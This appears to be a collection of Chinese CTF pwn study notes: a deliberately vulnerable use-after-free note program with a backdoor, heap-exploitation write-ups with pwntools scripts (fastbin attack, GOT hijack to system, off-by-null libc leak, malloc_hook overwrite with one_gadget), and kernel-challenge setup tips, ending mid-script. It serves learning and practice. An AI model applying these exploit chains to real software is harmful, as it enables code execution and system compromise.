note-UAF

1.源文件,忘记是哪里的题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note *notelist[10];
int count = 0;

struct note{
void (*print_note)();
char *content;
};

void print_note_content(struct note *ptr_n)
{
puts(ptr_n -> content);
}

void add_note(){
int i;
char buf[8];
int size;
if (count > 10)
{
puts("Full");
return;
}
for (i = 0; i < 10; i++){
if (!notelist[i])
{
notelist[i] = (struct note *)malloc(sizeof(struct note));
if (!notelist[i])
{
puts("Alloca Error");
exit(-1);
}
notelist[i] -> print_note = print_note_content;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i] -> content = (char *)malloc(size);
if (!notelist[i] -> content)
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i] -> content, size);
puts("Success !");
count++;
break;
}
}
}

void del_note()
{
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count)
{
puts("Out of bound!");
_exit(0);
}
if (notelist[idx])
{
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}

void print_note()
{
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count)
{
puts("Out of bound!");
_exit(0);
}
if (notelist[idx])
{
notelist[idx] -> print_note(notelist[idx]);
}
}

void magic()
{
system("cat ./flag");
}

void menu() {
puts("----------------------");
puts(" UAF NOTE ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};

int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch(atoi(buf))
{
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}

编译一下:

1
2
3
#注释头

gcc note.c -no-pie -o note

2.打开IDA,查漏洞,del-note函数中存在UAF漏洞,并且还有后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#注释头

if ( notelist[idx] )
{
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
//这里经过IDA人工数据修改过,刚打开不会是这样的。
----------------------------------------------------
int magic()
{
return system("cat ./flag");
}

可以看到在Free之后没有将指针置空,导致Free之后,如果通过程序中的print选项来打印依然可以调用被该指针对应的函数,所以这里存在UAF。

3.这一题中有一个结构体,定义如下:

img

其中malloc顺序是:

(1)malloc控制数据部分chunk_control,固定大小为0x10。

(2)将content,也就是真正数据部分malloc出来,chunk_data,这里可以设置size。

free顺序是:

(1)先free掉data部分,chunk_data。

(2)再free控制数据部分的struct,chunk_control。

4.思考攻击思路,既然有UAF漏洞,那么我们可以想办法Free几个chunk,然后利用fastbins先进后出的原则,将某个控制数据部分的chunk_control申请回来变成我们可以操作的chunk_data,进行fastbins attack。之后修改其中的打印函数地址,改为后门函数地址,那么使用程序中的print就可以跳转后门函数获取flag。

5.先申请两个结构,data部分至少为0x19,使得chunk_data不落入到0x20的fastbins中。之后释放掉这两个结构,然后fastbins中的结构如下:

1
2
3
4
#注释头

fastbinsY[0]:0x10:chunk_control1->chunk_control0
fastbinsY[x]:0xxx:chunk_data1->chunk_data0

6.然后申请一个0x10大小的结构,编号A,该结构中的对应就变成这样:

1
2
3
4
#注释头

chunk_controlA=chunk_control1
chunk_dataA=chunk_control0

7.现在可以修改chunk_dataA,将其内容改为后门函数地址,然后使用程序中的print,输入索引为0,然后就会运行chunk_control0中的打印函数,也就相当于运行chunk_dataA中的后门函数。

简单exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

add(0x20,'aaaaaaaa') #chunk_control0+chunk_data0
add(0x20,'AAAAAAAA') #chunk_control1+chunk_data1
#这里的0x20可以随便改,只要大于等于0x19即可,两个0x20也可以不一样。

free(0)
free(1)
#free顺序:chunk_data0,chunk_control0,chunk_data1,chunk_control1

backdoor = p64(elf.sym['magic'])
add(0x10,backdoor)
#malloc顺序:chunk_controlA=chunk_control1,chunk_dataA=chunk_control0

show(0)
print(p.recv())
#获取flag

kernel编译

1.安装依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

sudo apt-get install make gcc bison flex libssl-dev musl-tools
sudo apt-get install libssl-dev
sudo apt-get install gcc make libncurses5-dev openssl libssl-dev
sudo apt-get install build-essential
sudo apt-get install pkg-config
sudo apt-get install libc6-dev
sudo apt-get install bison
sudo apt-get install flex
sudo apt-get install libelf-dev
sudo apt-get install libncurses5-dev libssl-dev
sudo apt-get install build-essential openssl
sudo apt-get install zlibc minizip
sudo apt-get install libidn11-dev libidn11

可能有些重复的,没事,够编译环境就行。

2.下载kernel源码,解压,编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
//注释头

wget https://mirror.tuna.tsinghua.edu.cn/kernel/-------------------
tar -zvxf linux-4.4.70.tar.gz
cd linux-4.4.70
make menuconfig
//这里进入之后直接esc保存退出即可,相关的设置来到之后生成的.config中来

vim .config
//将CONFIG_MODULE_SIG_ALL,CONFIG_MODULE_SIG_KEY和CONFIG_SYSTEM_TRUSTED_KEYS三项注释掉,编译时系统会自动生成一次性密钥来加密,另外记得把CONFIG_DEBUG_INFO=y去掉,不然新内核带debug信息超大
//这里踩过很多坑,虚拟机直接爆炸,各种错误。

make

但是如果需要直接调试,则看大佬的吧:

https://eternalsakura13.com/2018/04/13/qemu/

编译完成之后在linux-4.4.70/arch/x86_64/boot/下保存bzImage,用来启动qemu,根目录下有vmlinux,用来分析。

3.下载busybox源码,解压,编译,制作根目录系统

1
2
3
4
5
6
7
8
//注释头

wget https://busybox.net/downloads/busybox-1.19.4.tar.bz2
tar -jxvf busybox-1.30.0.tar.bz2
cd busybox-1.30.0
make menuconfig
# Busybox Settings -> Build Options -> Build Busybox as a static binary
make install

之后在busybox-1.30.0/_install/目录下就是根目录文件系统

img

然后就用cpio生成上述的rootfs.cpio,用来配合bzImage启动qemu

find ./* | cpio -H newc -o > rootfs.cpio

4.启动qemu:

(1)将rootfs.cpio、bzImage拖到一个文件夹下

(2)制作启动文件:

1
2
3
4
//注释头

touch boot.sh
vim boot.sh

(3)将下列代码拷入:

1
2
3
4
5
6
7
8
9
10
11
#注释头

#! /bin/sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

图形化界面-nographic和console=ttyS0配合使用,启动界面就变成终端。

最后./boot.sh即可启动qemu虚拟机。

pesp-heap_overflow-struct

1.第三种方法,通过堆溢出直接改struct,然后更改结构体chunklist[0].chunk中保存的chunk地址,使其指向free_got_addr,再通过程序中的show函数就可以泄露出free_got_addr中保存的free真实地址,从而获得libc的基地址。当然,这得要求先有一个free来让free的延迟绑定发生。

2.由于这里的chunk地址已经变成free_got_addr,所以当我们修改该chunk的内容时,就相当于修改got表中值,也就修改了真实函数地址的值。这里就可以通过修改该chunk内容来劫持free的got表为system函数真实地址,从而free一个内容为binsh的chunk来getshell。

3.编写exp,增删改查函数就不多说了。

(1)申请三个chunk,先将chunk1释放,之后chunk0用来堆溢出,修改chunk1的fd,进行fastbins攻击,将fakechunk放在struct前面某个位置。这里用到字节错位,原理一样,利用0x7f来攻击fastbins。再连续申请两个chunk,chunk1和chunk3就回来,这里的chunk3就是fakechunk了。现在就可以修改fakechunk从而修改掉chunklist[0].chunk的值,使其指向free_got_addr。从而调用show函数泄露free的真实地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

add(0x60,"\x00"*0x60) #chunk0
add(0x60,"\x11"*0x60) #chunk1
add(0x60,'/bin/sh\x00') #chunk2 binsh

remove(1)
change(0,0x100,flat("\x00"*0x60,p64(0),p64(0x71),p64(bss)))#chunk0_overflow
add(0x60,"\x11"*0x60)#get chunk1
add(0x60,flat("\x00"*0x3,p64(0x100),p64(free_got_addr)))#get fakechunk
show()
io.recvuntil("0 : ")
libc_base = u64(io.recv(6).ljust(8,'\x00')) - libc.sym['free']

(2)再修改chunk0的内容为system真实地址,这样就相当于劫持free的got表,之后释放掉chunk2即可getshell。

1
2
3
4
5
6
7
#注释头

system_libc = libc_base + libc.sym['system']
puts = libc_base + libc.sym['puts']
change(0,0x100,flat(p64(system_libc,),p64(puts)))
remove(2)
io.interactive()

▲需要注意的一点就是,由于read函数读取,所以我们发送数据时一定会有一个\x0a加入进去,这里如果不考虑进入,free函数后面就是put函数,那么就会造成put函数的Got表被更改,从而无法成功调用put函数。而程序在循环体中的菜单部分又一定会调用put函数,那么这样就会造成程序崩溃。所以需要将put函数也加入进去,但是这样又会造成put函数下一个函数被覆盖\x0a。不过不要紧,gdb调试可以看到put函数下一个函数是stack_chk_fail函数,也就是检查canary出错时才会调用。我们有没有栈溢出修改canary,这个函数当然不会被调用,程序就不会崩溃。

pesp_heap-overflow

1.常规checksec,开了canary和NX,Partial RELRO。开IDA找漏洞,change函数中存在堆溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

int v0; // ST08_4
char nptr; // [rsp+20h] [rbp-10h]
char buf; // [rsp+10h] [rbp-20h]
----------------------------------------------------------
printf("Please enter the index of servant:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
--------------------------------------------------------------
printf("Please enter the length of servant name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);

可以发现change函数中,并没有检查堆块的大小,我们输入多少,它就认为是多少,所以这里可以制造堆溢出。

2.这题有很多其它漏洞,这里先只利用堆溢出来思考下。

(1)先申请两个chunk,chunk1和chunk2,然后修改chunk1的大小和内容,使得溢出数据,将chunk2的fd改成got表中地址,之后释放掉chunk2,使其在fastbins中的结构为:

1
2
3
4
#注释头

fastbins->chunk2
chunk2.fd=got_addr。

这样就可以再申请chunk_a,chunk_b,这里的chunk_a就是从fastbins中申请回来的chun2,而chunk_b的首地址就是got_addr。之后通过修改chunk_b的内容,这样就可以修改got表中的内容,从而劫持got表。

(2)由于这里引入了printf函数,所以可以将free函数的got表劫持为printf(plt)函数,这样就可以在free一个chunk时制造格式化字符串漏洞,通过修改chunk内容为需要的格式化字符之后,再通过该格式化字符串漏洞泄露栈上某函数的Libc地址,从而计算得到libc基地址,从而计算得到system函数真实地址。

(3)之后再通过上述方法,将free_got劫持为system_real_addr,之后释放一个内容为binsh字符串的chunk,就相当于调用system(“/bin/sh”),从而getshell。

3.开始编写payload

(1)首先确定增删改查函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

def show():
io.sendlineafter("choice:","1")

def add(length,cont):
io.sendlineafter("choice:","2")
io.sendlineafter(":",str(length))
io.sendafter(":",cont)
sleep(0.01)

def edit(idx,length,cont):
io.sendlineafter("choice:","3")
io.sendlineafter(":",str(idx))
io.sendlineafter(":",str(length))
io.sendafter(":",cont)
sleep(0.01)

def delete(idx):
io.sendlineafter("choice:","4")
io.sendlineafter(":",str(idx))

(2)尝试修改got表,制造格式化字符串溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#申请三个chunk,chunk0,chunk1,chunk2包括之后需要的格式化字符。
add(0x50,'000000')
add(0x50,'111111')
add(0x10,".%17$p.")
#64位程序,将断点下在change函数中的call free,观察此时栈中数据,可以发现从rsp往下数12是libc_main_addr,计算偏移为12+6-1=17.

#释放chunk1,之后修改chunk1的fd位使其指向fakechunk
delete(1)
edit(0,0x100,flat('0'*0x50,'00000000',0x61,0x601ffa))
#这里两条代码顺序不能改变,因为当chunk1被释放时,其fd位会发生改变,指向0x0,第一个进入fastbins的chunk其fd只要不被修改,一直都是指向0x0。所以需要先释放,再修改,防止之后fd被修改指向0x0。
#现在fastbins为:fastbinsY[0]->chunk1->fakechunk

#连续申请两个chunk,将chunk1和fakechunk申请回来,同时劫持got表,将free函数的got表值改成printf的plt表值,调用plt表中代码,从而调用printf函数。
add(0x50,'xxxxxxxx')
add(0x50,flat("\0"*0xe,flat(elf.sym["printf"])[:6]))#get fakechunk,change got

#释放chunk2,触发free函数,也就是劫持后的printf函数,得到栈上地址libc_main_addr,计算得到libc_address
delete(2)
io.recvuntil(".")
temp = io.recvuntil(".",drop=True)
libc_address = int(temp,16) - 0x20840

(3)再次劫持got表为system函数,释放Binsh字符chunk,getshell

1
2
3
4
5
6
7
8
#注释头

#这里的chunk3就是fakechunk,也就是got表
edit(3,0x50,flat('\0'*14,flat(libc_address+libc.sym['system'])[:6]))
add(0x10,"/bin/sh\0")
#由于前一个释放的是chunk2,所以这里再次申请回来的索引还是2,可以多次运行程序尝试就可以知道,当前面某个的chunk为空时,申请的chunk会先填满前面的空的chunk索引。
delete(2)
io.interactive()

▲制造fakechunk时,需要设置合法的size,不然如果fastbins中的chunk.fd指向fakechunk,而fakechunk的大小又不是该fastbins组中,那么程序会崩溃。所以在最开始设置大小时,就需要好好计算以下,通过调试看看got表中在free函数前能不能找到还没被延迟绑定的函数可以确定计算大小,或者看其它函数的got表最后三位也可以,这样才能制造合法size使得程序不会崩溃。这里用到的0x601ffa就是调试过程中发现能用的,并且还需要填充0xe,也就是14个字节。

pwn-kernel_Heap总结

一、SLUB和SLAB:内核的堆比用户的堆会简单很多,需要了解一些机制。

1.分配的大小:也是类似对齐的,但也有点不同

linux下查看命令:cat /proc/slabinfo

img

可以看到kmalloc分为很多的大小,从大到小分别为8k->8字节,每个都相当于是一个桶,里面存储所有的空闲块或者非空闲块。所以当我们分配17字节时,得到的空间其实是32字节,5K字节得到的是8K字节的空间。这个在用堆溢出的时候需要用到。

2.管理机制:单链表结构

(1)申请原则:

以一定大小的空闲chunk作为一个单链表,以fd串联,并且chunk的结构只有一个fd,不像用户态中有有头结构:

img

如果申请期间改变了空闲链表第一个chunk的fd,那么再申请一次得到该chunk,然后再申请就得到修改后的fd。如上图,如果0xffff8880029f8000是对应slub桶大小的chunk空闲链表第一个,那么申请该大小chunk后得到的是0xffff8880029f8000,再申请一次就会得到0x6bc360。

▲这个具体的管理结构不知道在哪,但是如果再申请该大小的chunk:

①0x6bc360在被申请出来之前,其fd为一个有效的可用地址,比如

0x6bc360 –> 0x6bc460,那么就会得到连续得到0x6bc360和0x6bc460。

②0x6bc360在被申请出来之前,其fd为0,比如

0x6bc360 –> 0x0,那么先得到0x6bc360,然后会从另一个桶中申请chunk,该大小的空闲链表桶就会废弃不再使用,相当于系统默认该桶用完。之后再申请该大小的chunk会从新桶中继续申请。

③0x6bc360在被申请出来之前,其fd为无效地址,比如

0x6bc360 –> 0x40,那么先得到0x6bc360,然后再申请,系统就会崩溃。

img

(2)释放原则:

同样是以一定大小的空闲chunk作为一个单链表,以fd串联,也类似fastbin结构,先进后出:

img

img

这里可以看到,释放完三个chunk之后,再申请,会先得到chunk0,再得到chunk2,chunk1。所以这里也同样可以看出,在释放之后,该chunk的fd会被改写,指向下一个空闲chunk。只不过不用看size和其他七七八八的检查,只用fd即可打类似fastbin的攻击了,方便了很多。

pesp_off-by-null

1.还是之前的2018网鼎杯的pesp题目。这里假设没有堆溢出,有PIE保护,无法劫持got表。只使用0字节溢出漏洞来获取libc地址,再根据得到的libc地址来更改malloc_hook和realloc_hook里面保存的地址为one_gadget,一步getshell。(realloc_hook为onegadget,malloc_hook为__libc_realloc函数中调整栈帧的地方)

2.先梳理一下0字节溢出漏洞,一般的chunk改内容都是:

1
2
3
#注释头

read(0, chunk_ptr, size);

这样就只能输入size这么大的内容,但是这道题中,在add函数中和change函数中:

img

img

可以看到给chunk添加内容的语句都是:

1
2
3
#注释头

*(itemlist[i].cont + read(0, itemlist[i].cont, len)) = 0;// off by null

这样当我们将chunk内容顶满之后,程序会将chunk指针最后部分再溢出一个字节赋值为0,这就是off-by-null。

由于scanf函数会在末尾自动补\x00,这其实也是一种off-by-null,

1
2
3
4
#注释头

char buf[10];
scanf("10%s",buf);

▲free源码:

1
2
3
4
5
6
7
8
#注释头

if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long ) prevsize));
unlink(av, p, bck, fwd);
}

也就是如果当前chunk的IN_USE位为0,那么就根据当前chunk的pre_size位,找到前一个chunk_pre,将chunk_pre的size位改成size+pre_size,通过Unlink取出chunk_pre,准备合并。(之后的检查代码会再循环,也就是再看chunk_pre的IN_USE位是不是0来判断要不要再向上合并,这里不重要)

所以如果我们通过off-by-null,溢出0到chunk_next的size位中的IN_USE位,那么当前chunk就会被标记为Free,这样在Free(chunk_next)时,就会将chunk和chunk_next合并。如果我们又更改了chunk_next的pre_size位,使它变得更大,那么就可以向上合并更大的chunk块。这就是off-by-null的利用方法,这题中如下:

(需要注意的是,由于溢出的是一个字节而不是一个Bit,所以size一般都设置为0xf0,从而使size位变成0x101,溢出之后进而变成0x100。但如果size最开始设置为0x20,size位就是0x30,溢出0字节就会变成0x00,那样程序照样崩溃。)

(1)先申请四个chunk,分别为chunk0,chunk1,chunk2,chunk3。(chunk3防止合并用)

(2)然后free掉chunk0,(这里chunk0需要足够大,一般得大于0x80,也就是MAX_fastbins),使其进入unsortedbins中。(这里必须free掉chunk0,不然之后修改掉chunk2的pre_size位时,然后free掉chunk2时,程序依据pre_size来判断是否合并时,发现chunk0仍旧处于使用当中,但pre_size包含了chunk0,就会造成程序崩溃)

(3)修改chunk1的最后八个字节,也就是chunk2的pre_size位,使得chunk2的pre_size位的大小为chunk0_size+chunk1_size。

(4)free掉chunk2,使得chunk0,chunk1,chunk2三个chunk作为一个整体被合并之后放入到unsortedbins中,调试过程可以发现,chunk0的size位被修改成了sizeof(chunk0+chunk1+chunk2)。但是这里实际情况中,chunk1并没有被释放,只是它的内存处在被释放的内存中间,依然可以通过chunk1的指针来操作。也就是在这个程序中依旧可以进行edit来修改chunk1,或者show来打印chunk1。

(5)再次申请chunk0大小,这样就会割裂unsortedbins中的remainder为chunk0+new_remainder,把chunk0申请回来,剩下的new_remainder依旧放在unsortedbins中。在unsortedbins中的remainder有个特点,就是该chunk的fd和bk一定指向unsortedbins链表头部,(如果有多个remainder,那么顺序类似于smallbins,依旧可以使用第一个chunk的bk来获取unsortedbins链表头部)

(6)那么现在unsortedbins中有chunk1和chunk2,而chunk1的fd和bk都指向unsortedbins链表头部,并且在程序中chunk1仍旧处于使用状态,fd和bk就是chunk1的data部分。所以show函数就可以打印出chunk1的data部分,从而打印出fd和bk指向的unsortedbins头部链表地址。又由于unsortedbins处在main_arena+0x58位置,而main_arena相对于libc基地址的偏移是固定的,为0x3c4b20(不同glibc版本可能不同,这是libc2.23的),所以这也就间接泄露出了libc基地址。

▲查询main_arena方法:

①工具查询:https://github.com/coldwave96/libcoffset:

②IDA查询:main_arena存储在libc.so.6文件的.data段,使用IDA打开libc文件,然后搜索函数malloc_trim()

img

3.现在有了libc基地址,那么接下来就考虑修改mallo_hook和realloc_hook的值。同样使用0字节溢出漏洞,伪造fakechunk为mallo_hook地址,修改fakechunk从而修改malloc_hook和realloc_hook。这里先忽略上面的,程序中的索引会不太一样。攻击思路如下:

(1)先申请一个较大的chunk,防止和上面的合并

(2)之后的操作方法类似,先申请四个chunk,分别为chunk0,chunk1,chunk2,chunk3。(chunk3防止合并用)

(3)free掉chunk0,使其进入unsortedbins中。修改chunk1的最后八个字节,也就是chunk2的pre_size位,使得chunk2的pre_size位的大小为chunk0_size+chunk1_size。

(4)free掉chunk2,使得chunk0,chunk1,chunk2三个chunk作为一个整体被合并之后放入到unsortedbins中。再free掉chunk1,使其进入fastbins中。这样chunk1即在fastbins中,也处在unsortedbins中。

(5)申请一个特殊大小的chunk块,最小为chunk0_size+0x20,使其的data部分足够大,能够修改掉chunk1的fd位,将chunk1的fd位指向fakechunk,由于需要从size位覆盖到fd,所以需要伪造合法的size,为chunk1_size。

(6)申请两个chunk1大小的chunk_a,chunk_b,这样第一次申请的chunk_a就是从fastbins中回来的chunk1。而chunk_b就是chunk1的fd指向的fakechunk。这样如果将fakechunk放在realloc_hook之前,那么就可以修改掉realloc_hook和malloc_hook,使得realloc_hook指向one_gadget,而malloc_hook指向__libc_libc函数中的某个可以控制栈帧的地址,从而满足gadget条件来getshell。

4.开始编写exp,增删改查函数就不说了:

(1)获取libc基地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

add(0xf0,'0'*0xf0)
add(0x68,'1'*0x68)#trigger 0ff-by-null
add(0xf0,'2'*0xf0)
add(0x10,'3'*0x10)
#chunk0,chunk1,chunk2,chunk3(防止合并)

delete(0)#防止程序崩溃
edit(1,0x68,flat('1'*0x60,0x170))
#修改chunk2的pre_size,使得chunk0,chunk1,chunk3手牵手进入unsortedbins中
delete(2)
#触发chunk2的pre_size作用

#关键就在这个add,目的就是将unsortedbins的链表头部放到chunk1的fd和bk位
add(0xf0,'x'*0x10)

#现在就可以打印chunk1来获取unsortedbins链表的头部地址,从而计算得到libc地址
show()
libc_address = u64(io.recvuntil("\x7f")[-6: ]+'\0\0')-0x3c4b78
print("libc @ {:#x}".format(libc_address))

(2)伪造fakechunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

add(0x160,'4'*0x160)
#第一个chunk防止合并加程序崩溃

add(0xf0,'a'*0xf0)
add(0x68,'b'*0x68)
add(0xf0,'c'*0xf0)
add(0x10,'d'*0x10)
#四个chunk,套路一样。由于程序编写原因,所以索引变成chunk4,chunk5,chunk6,chunk7,对应上面的chunk0,chunk1,chunk2,chunk3。


delete(4)#防止程序崩溃
edit(5,0x68,flat('b'*0x60,0x170))
#修改chunk2的pre_size,使得chunk0,chunk1,chunk3手牵手进入unsortedbins中
delete(6)
#触发chunk6的pre_size作用

delete(5)
add(0x120,flat('A'*0xf8,0x70,(libc_address+0x3c4aed)))
#使得chunk5进入fastbins,之后修改其fd位,创造一个fakechunk进入fastbins。这里的fakechunk_addr就是libc_address+0x3c4aed。这里的0x70写成0x71也是一样的,因为之后是malloc,不会管chunk的IN_USE位,也就是P位。

(3)申请获得fakechunk,同时修改该fakechunk,劫持malloc_hook和realloc_hook。

1
2
3
4
#注释头

add(0x68,'x'*0x10)
add(0x68,flat('\0'*11,(libc_address+one_gadget),(libc_address+16+libc.sym["__libc_realloc"])))

(4)随便申请一个chunk即可getshell,但是这里不要使用之前我们定义的add函数,因为程序一旦call malloc即可getshell,即运行到输入长度即可,但是我们的add函数中一直运行到输入内容才结束,会导致程序卡住,所以应该是:

1
2
3
4
5
6
#注释头

io.sendlineafter("choice:","2")
io.sendlineafter(":","anything")

io.interactive()

5.这里需要很多调试的步骤:

(1)从最开始打算伪造fakechunk时就应该知道我们的chunk大小应该设置为0x68,因为程序跑起来是0x7f开头,拿来伪造size再合适不过,这样的chunk大小是0x70。而我们又只能用0字节溢出,所以需要将chunk设置到最大,也就是0x70-0x08。

(2)而0xf0可以改变,只要比fastbins_MAX大就行,那么对应的0x170也需要改变,同时也要改变0x120。

(3)申请fakechunk步骤中的’\0’*11也是需要通过调试算出来,方法就是gdb查看realloc_hook-0xxx附近的内存,选择合适的可以伪造size的地址,之后通过填充padding来覆盖realloc_hook和malloc_hook。

(4)onegadget相关的+16也得通过调试才能知道,这里选取的onegadget条件是[rsp+0x30]==Null。所以调试时将断点下在__libc_realloc函数上,进入__libc_realloc函数,从而一直进入到onegadget的执行代码中,如下:

先下断点让程序运行到这img

再输入ni进入:img

这时候就可以看rsp的值了:img

这里的rsp是0x7ffca3331eb8,rsp+0x30=0x7ffca3331ee8,对应图中的值就得是0才满足条件(这里已经计算过了,+16)

▲如果从最开始进入__libc_realloc函数,进入到onegadget中之后,发现条件不满足,那么需要观察前后的值,从而决定从哪里进入__libc_realloc函数才能使得rsp满足。img

因为__libc_realloc(就是realloc)函数有一堆的push和sub操作,少一个push,那么rsp就可以下挪0x08,相当于rsp+0x08,中间还有sub rsp,xxh,相当于上挪rsp。所以决定从哪里进入realloc函数决定了onegadget的成功与否。img

而通过汇编代码可以看到,实际的onegaget是通过0x84724 mov rax,cs:__realloc_hook_ptr传进来,之后由于

1
2
3
4
#注释头

test rax rax
jnz loc_84958

rax不为0,必定跳转loc_84958:

img

这里才是我们选择调用进入onegadget的入口。所以之前在__libc_realloc的计算都是为了调整栈帧,不然其实如果栈帧不用调整就可以满足,那么我们可以直接将malloc_hook改成onegadget也可以直接getshell。因为__libc_malloc函数中的汇编代码也是类似的:

img

而且这还是一个无条件跳转。

img

可以看到有两个push,一个sub rsp,8;两个Pop。相当于只要在call malloc之前,我们的rsp+0x28==NULL即可满足onegadget的rsp+0x30==NULL的条件。当然,以上只是在Libc2.23下的,如果是其它版本的libc就可能不太一样。

pwn-kernel_做题知识

一、题目给的文件:

1.bzImage:就是linux编译后的运行内核,在启动参数中设置即可。

2.file.cpio:题目给的,有的可以直接用qemu启动运行,但是有的需要解压后再打包,具体看题目。

3.xx.sh文件:启动文件,里面包含代表qemu启动时的各种参数:

(1)qemu-system-x86_64:架构

(2)-m:设置运行内存。

-m 64M

-m 128M….

(3)-kernel:设置运行的内核,一般题目会给,自己也可以去 www.kernel.org 来下载编译内核。

-kernel bzImage

(4)-initrd:设置初始化的根文件系统,就是.cpio文件,题目给的可能有陷阱什么的,一般我们需要解压然后看看其中的init是不是有些干扰东西。

例如poweroff -d 120 -f & 这行代码就代表定时关机,这就需要去掉,去掉可能的干扰后就再打包,重新生成.cpio文件,然后通过./xx.sh启动

①解压:

mkdir file

cd file

cpio -idm < ./core.cpio //再次解压

1
2
3
4
5
#注释头

mv ../file.cpio file.cpio.gz //改名,方便gunzip识别格式
gunzip ./file.cpio.gz //解压
#如果是正常cpio打包则不需要,但是有的题目就会有用Gunzip压缩之后再cpio打包。

然后删除file.cpio文件,没啥用了,那么现在的目录下的文件如果再打包生成cpio文件就会是qemu加载之后的根目录文件系统了。

-initrd ./core.cpio

②打包:

切换到根目录下:

find ./* | cpio -H newc -o > file.cpio

当前目录下就生成file.cpio文件,拖到和start.sh、bzImage放到一个目录下,运行start.sh就可以启动qemu虚拟机了。

(5)-append:附加的字符串,为grub引导内核时附加的命令行参数,指明控制台,特权,初始路径等,指定no kaslr可以关闭随机偏移。

-append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr”

(6)-s:添加gdb调试的相关条件,只用-s就行,等同于-gdb tcp::1234

(7)-cpu 设置cpu安全选项。kvm64是加速器

-cpu kvm64,+smep (kvm64,开启smep保护)

(8)–nographic:设置为无图形界面

还有其它的各种选项参数,遇到题目再查吧,需要注意的是smep,smap,kaslr等相关的

4.vmlinux:静态编译,未经过压缩的kernel文件,bzImage是压缩后的文件。

二、根文件目录下的文件:

1.init:启动系统的参数设置,很多,慢慢看,多了解。

(1)insmod:加载驱动,一般就是file.ko文件,找到它来分析。

(2)poweroff:关机,相关定时一般去掉

(3)setsid:设置终端权限,id为0即为root,本地修改为0即为root权限

setsid /bin/cttyhack setuidgid 1000 /bin/sh

2.file.ko文件:一般这个就相当于是常规pwn的binary文件,漏洞应该在这里面,可以用IDA打开来分析。

3.vmlinux:题目没直接给的,一般cpio压缩包中都会有,可以用来查gadget。

time ropper –file ./vmlinux –nocolor > g1

time ROPgadget –binary ./vmlinux > g2

没有的也可以提取出来:

./extract-vmlinux ./bzImage > vmlinux

(extract-vmlinux文件:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux )

4.其它的就没什么重要的了,然后有的题目会有gen_cpio.sh相关文件,用来生成cpio文件,这时候就直接使用,如果用find ./* | cpio -H newc -o > file.cpio可能并不太好使。

三、gdb调试:

1.start.sh中设置-s或者-gdb tcp::1234

2.设置init中的setsid,设置为root权限

3.加载符号表:

(1)qemu内:

cat /sys/module/core/sections/.text //找到基地址

0xffffffffc018b000

(2)qemu外:

gdb ./vmlinux -q

add-symbol-file ./file.ko 0xffffffffc018b000

(现在就可以对函数下断点:b core_read,或者根据file.ko文件中的函数偏移加上基地址。)

4.连接到qemu内部的文件:

qemu外的gdb中输入:

target remote localhost:1234

之后就可以互动,通过编写exp启动来触发断点。

四、提权:

(1)本地:

将编译后的exploit放到初始根目录文件系统中/tem中,再次打包生成cpio文件,运行qemu,之后运行exploit即可。

(2)远程:

本地写好 exploit 后,可以通过 base64 编码等方式把编译好的二进制文件保存到远程目录下,进而拿到 flag。同时可以使用 musl, uclibc 等方法减小 exploit 的体积方便传输。

编译:gcc exploit.c -static -masm=intel -g -o exploit

可以用python配上busybox来设置:

①在本地有exploit的文件夹下运行:python2 -m SimpleHTTPServer

记住本地ip,端口为8000

②在远程中运行:wget -O ./exploit http://192.168.80.132:8000/exploit

这样就可以通过网络来传输exploit

(3)真实题目环境可能没有网络,这时候需要用到脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#注释头

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os

# context.log_level = 'debug'
cmd = '# '

def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
